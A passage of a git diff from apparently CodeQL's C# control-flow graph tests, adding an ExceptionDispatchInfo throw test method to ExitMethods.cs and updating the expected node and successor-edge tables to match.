ExitMethods.cs:136:9:136:25 | this access | normal | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:25 | call to method AssertFalse | throw(AssertFailedException) | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:21:136:24 | true | true | +| ExitMethods.cs:137:9:137:18 | ... ...; | ExitMethods.cs:137:13:137:17 | Int32 x = ... | normal | +| ExitMethods.cs:137:13:137:17 | Int32 x = ... | ExitMethods.cs:137:13:137:17 | Int32 x = ... | normal | +| ExitMethods.cs:137:17:137:17 | 0 | ExitMethods.cs:137:17:137:17 | 0 | normal | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:13:142:13 | access to parameter b | false | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:13:142:13 | access to parameter b | true | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:41:143:41 | access to parameter e | normal | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:44 | call to method Capture | normal | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:43:145:43 | access to parameter e | normal | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:27:146:32 | "dead" | normal | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:7:9:7:30 | return ...; | return | | Extensions.cs:7:9:7:30 | return ...; | Extensions.cs:7:9:7:30 | return ...; | return | | Extensions.cs:7:16:7:29 | call to method Parse | Extensions.cs:7:16:7:29 | call to method Parse | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitMethods.cs b/csharp/ql/test/library-tests/controlflow/graph/ExitMethods.cs index 9a34ecd32f8..3d821a1d335 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitMethods.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitMethods.cs @@ -1,6 +1,7 @@ using System; using System.Linq; using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Runtime.ExceptionServices; class ExitMethods { @@ -135,6 +136,15 @@ class ExitMethods AssertFalse(true); var x = 0; // dead } + + public void ExceptionDispatchInfoThrow(bool b, ArgumentException e) + { + if (b) + ExceptionDispatchInfo.Throw(e); + else + ExceptionDispatchInfo.Capture(e).Throw(); + Console.WriteLine("dead"); + } } // semmle-extractor-options: ${testdir}/../../../resources/stubs/System.Windows.cs ${testdir}/../../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 6218a3a3b46..15149f7a20e 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -1650,169 +1650,185 @@ | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:13:149:48 | call to method WriteLine | semmle.label | successor | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:45:149:45 | access to local variable s | semmle.label | successor | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:38:149:47 | $"..." | semmle.label | successor | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:8:5:11:5 | {...} | semmle.label | successor | -| ExitMethods.cs:7:10:7:11 | exit M1 (normal) | ExitMethods.cs:7:10:7:11 | exit M1 | semmle.label | successor | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:9:9:9:25 | ...; | semmle.label | successor | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:10:9:10:15 | return ...; | semmle.label | successor | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:9:20:9:23 | true | semmle.label | successor | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | semmle.label | successor | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:7:10:7:11 | exit M1 (normal) | semmle.label | return | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:14:5:17:5 | {...} | semmle.label | successor | -| ExitMethods.cs:13:10:13:11 | exit M2 (normal) | ExitMethods.cs:13:10:13:11 | exit M2 | semmle.label | successor | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:15:9:15:26 | ...; | semmle.label | successor | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:16:9:16:15 | return ...; | semmle.label | successor | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:15:20:15:24 | false | semmle.label | successor | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | semmle.label | successor | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:13:10:13:11 | exit M2 (normal) | semmle.label | return | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:20:5:23:5 | {...} | semmle.label | successor | -| ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | ExitMethods.cs:19:10:19:11 | exit M3 | semmle.label | successor | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:21:9:21:26 | ...; | semmle.label | successor | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | semmle.label | exception(ArgumentException) | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:21:21:21:24 | true | semmle.label | successor | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | semmle.label | successor | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:26:5:29:5 | {...} | semmle.label | successor | -| ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | ExitMethods.cs:25:10:25:11 | exit M4 | semmle.label | successor | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:27:9:27:15 | ...; | semmle.label | successor | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | semmle.label | exit | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:27:9:27:14 | call to method Exit | semmle.label | successor | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:27:9:27:14 | this access | semmle.label | successor | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:32:5:35:5 | {...} | semmle.label | successor | -| ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | ExitMethods.cs:31:10:31:11 | exit M5 | semmle.label | successor | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:33:9:33:26 | ...; | semmle.label | successor | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | semmle.label | exit | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | semmle.label | successor | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:33:9:33:25 | this access | semmle.label | successor | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:38:5:51:5 | {...} | semmle.label | successor | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | exit M6 | semmle.label | successor | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:39:9:50:9 | try {...} ... | semmle.label | successor | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:40:9:42:9 | {...} | semmle.label | successor | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:41:13:41:31 | ...; | semmle.label | successor | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | semmle.label | exception(ArgumentException) | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | semmle.label | exception(Exception) | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:41:25:41:29 | false | semmle.label | successor | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | semmle.label | successor | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:44:9:46:9 | {...} | semmle.label | match | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:44:9:46:9 | {...} | semmle.label | match | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | semmle.label | no-match | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:45:13:45:19 | return ...; | semmle.label | successor | -| ExitMethods.cs:45:13:45:19 | return ...; | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | semmle.label | return | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | semmle.label | match | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:49:13:49:19 | return ...; | semmle.label | successor | -| ExitMethods.cs:49:13:49:19 | return ...; | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | semmle.label | return | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:54:5:57:5 | {...} | semmle.label | successor | -| ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | ExitMethods.cs:53:10:53:11 | exit M7 | semmle.label | successor | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:55:9:55:23 | ...; | semmle.label | successor | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | semmle.label | successor | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:60:5:63:5 | {...} | semmle.label | successor | -| ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | ExitMethods.cs:59:10:59:11 | exit M8 | semmle.label | successor | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:61:9:61:23 | ...; | semmle.label | successor | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | semmle.label | successor | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:66:5:69:5 | {...} | semmle.label | successor | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | semmle.label | successor | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | semmle.label | successor | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:67:9:68:34 | if (...) ... | semmle.label | successor | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:67:13:67:13 | access to parameter b | semmle.label | successor | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | semmle.label | false | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:68:19:68:33 | object creation of type Exception | semmle.label | true | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:13:68:34 | throw ...; | semmle.label | successor | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:72:5:77:5 | {...} | semmle.label | successor | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | exit ErrorAlways | semmle.label | successor | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:73:9:76:45 | if (...) ... | semmle.label | successor | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:73:13:73:13 | access to parameter b | semmle.label | successor | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:74:19:74:33 | object creation of type Exception | semmle.label | true | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:76:41:76:43 | "b" | semmle.label | false | -| ExitMethods.cs:74:13:74:34 | throw ...; | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:13:74:34 | throw ...; | semmle.label | successor | -| ExitMethods.cs:76:13:76:45 | throw ...; | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | semmle.label | exception(ArgumentException) | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:76:13:76:45 | throw ...; | semmle.label | successor | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | semmle.label | successor | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:80:5:82:5 | {...} | semmle.label | successor | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 | semmle.label | successor | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:81:15:81:29 | object creation of type Exception | semmle.label | successor | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:81:9:81:30 | throw ...; | semmle.label | successor | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:41:84:55 | object creation of type Exception | semmle.label | successor | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 | semmle.label | successor | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | semmle.label | exception(Exception) | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:35:84:55 | throw ... | semmle.label | successor | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:87:5:89:5 | {...} | semmle.label | successor | -| ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | ExitMethods.cs:86:10:86:13 | exit Exit | semmle.label | successor | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:88:9:88:28 | ...; | semmle.label | successor | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | semmle.label | exit | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:26:88:26 | 0 | semmle.label | successor | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:9:88:27 | call to method Exit | semmle.label | successor | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:92:5:102:5 | {...} | semmle.label | successor | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | ExitMethods.cs:91:10:91:18 | exit ExitInTry | semmle.label | successor | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:93:9:101:9 | try {...} ... | semmle.label | successor | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:94:9:96:9 | {...} | semmle.label | successor | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:95:13:95:19 | ...; | semmle.label | successor | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | semmle.label | exit | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | call to method Exit | semmle.label | successor | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:95:13:95:18 | this access | semmle.label | successor | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:105:5:107:5 | {...} | semmle.label | successor | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:104:10:104:24 | exit ApplicationExit | semmle.label | successor | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:106:9:106:48 | ...; | semmle.label | successor | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | semmle.label | exit | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:106:9:106:47 | call to method Exit | semmle.label | successor | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:110:5:112:5 | {...} | semmle.label | successor | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | semmle.label | successor | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | semmle.label | successor | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:111:16:111:20 | access to parameter input | semmle.label | successor | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | semmle.label | return | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:111:25:111:25 | 0 | semmle.label | successor | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:29:111:29 | 1 | semmle.label | true | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:69:111:75 | "input" | semmle.label | false | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:9:111:77 | return ...; | semmle.label | successor | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:111:25:111:25 | (...) ... | semmle.label | successor | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:111:16:111:25 | ... != ... | semmle.label | successor | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | (...) ... | semmle.label | successor | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:111:33:111:37 | access to parameter input | semmle.label | successor | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:111:16:111:76 | ... ? ... : ... | semmle.label | successor | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:111:29:111:37 | ... / ... | semmle.label | successor | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | semmle.label | exception(ArgumentException) | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:111:41:111:76 | throw ... | semmle.label | successor | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | semmle.label | successor | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:115:5:117:5 | {...} | semmle.label | successor | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall | semmle.label | successor | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:116:16:116:16 | access to parameter s | semmle.label | successor | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | semmle.label | return | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:116:27:116:29 | - | semmle.label | successor | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:34:116:34 | 0 | semmle.label | true | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:38:116:38 | 1 | semmle.label | false | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:9:116:39 | return ...; | semmle.label | successor | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:116:16:116:30 | call to method Contains | semmle.label | successor | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | semmle.label | successor | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | semmle.label | successor | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:120:5:123:5 | {...} | semmle.label | successor | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:119:17:119:32 | exit FailingAssertion | semmle.label | successor | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:121:9:121:29 | ...; | semmle.label | successor | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | semmle.label | exception(AssertFailedException) | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:121:23:121:27 | false | semmle.label | successor | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | semmle.label | false | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:126:5:129:5 | {...} | semmle.label | successor | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 | semmle.label | successor | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:127:9:127:27 | ...; | semmle.label | successor | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | semmle.label | exception(AssertFailedException) | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | semmle.label | successor | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:127:9:127:26 | this access | semmle.label | successor | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | semmle.label | successor | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | ExitMethods.cs:131:10:131:20 | exit AssertFalse | semmle.label | successor | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | ExitMethods.cs:131:10:131:20 | exit AssertFalse | semmle.label | successor | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | semmle.label | exception(AssertFailedException) | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | semmle.label | successor | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | semmle.label | true | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | semmle.label | false | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:134:5:137:5 | {...} | semmle.label | successor | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 | semmle.label | successor | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:135:9:135:26 | ...; | semmle.label | successor | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | semmle.label | exception(AssertFailedException) | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:135:21:135:24 | true | semmle.label | successor | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:135:9:135:25 | this access | semmle.label | successor | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | semmle.label | true | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:9:5:12:5 | {...} | semmle.label | successor | +| ExitMethods.cs:8:10:8:11 | exit M1 (normal) | ExitMethods.cs:8:10:8:11 | exit M1 | semmle.label | successor | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:10:9:10:25 | ...; | semmle.label | successor | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:11:9:11:15 | return ...; | semmle.label | successor | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:10:20:10:23 | true | semmle.label | successor | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | semmle.label | successor | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:8:10:8:11 | exit M1 (normal) | semmle.label | return | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:15:5:18:5 | {...} | semmle.label | successor | +| ExitMethods.cs:14:10:14:11 | exit M2 (normal) | ExitMethods.cs:14:10:14:11 | exit M2 | semmle.label | successor | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:16:9:16:26 | ...; | semmle.label | successor | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:17:9:17:15 | return ...; | semmle.label | successor | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:16:20:16:24 | false | semmle.label | successor | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | semmle.label | successor | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:14:10:14:11 | exit M2 (normal) | semmle.label | return | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:21:5:24:5 | {...} | semmle.label | successor | +| ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | ExitMethods.cs:20:10:20:11 | exit M3 | semmle.label | successor | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:22:9:22:26 | ...; | semmle.label | successor | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | semmle.label | exception(ArgumentException) | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:22:21:22:24 | true | semmle.label | successor | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | semmle.label | successor | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:27:5:30:5 | {...} | semmle.label | successor | +| ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | ExitMethods.cs:26:10:26:11 | exit M4 | semmle.label | successor | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:28:9:28:15 | ...; | semmle.label | successor | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | semmle.label | exit | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:28:9:28:14 | call to method Exit | semmle.label | successor | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:28:9:28:14 | this access | semmle.label | successor | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:33:5:36:5 | {...} | semmle.label | successor | +| ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | ExitMethods.cs:32:10:32:11 | exit M5 | semmle.label | successor | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:34:9:34:26 | ...; | semmle.label | successor | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | semmle.label | exit | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | semmle.label | successor | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:34:9:34:25 | this access | semmle.label | successor | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:39:5:52:5 | {...} | semmle.label | successor | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | exit M6 | semmle.label | successor | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:40:9:51:9 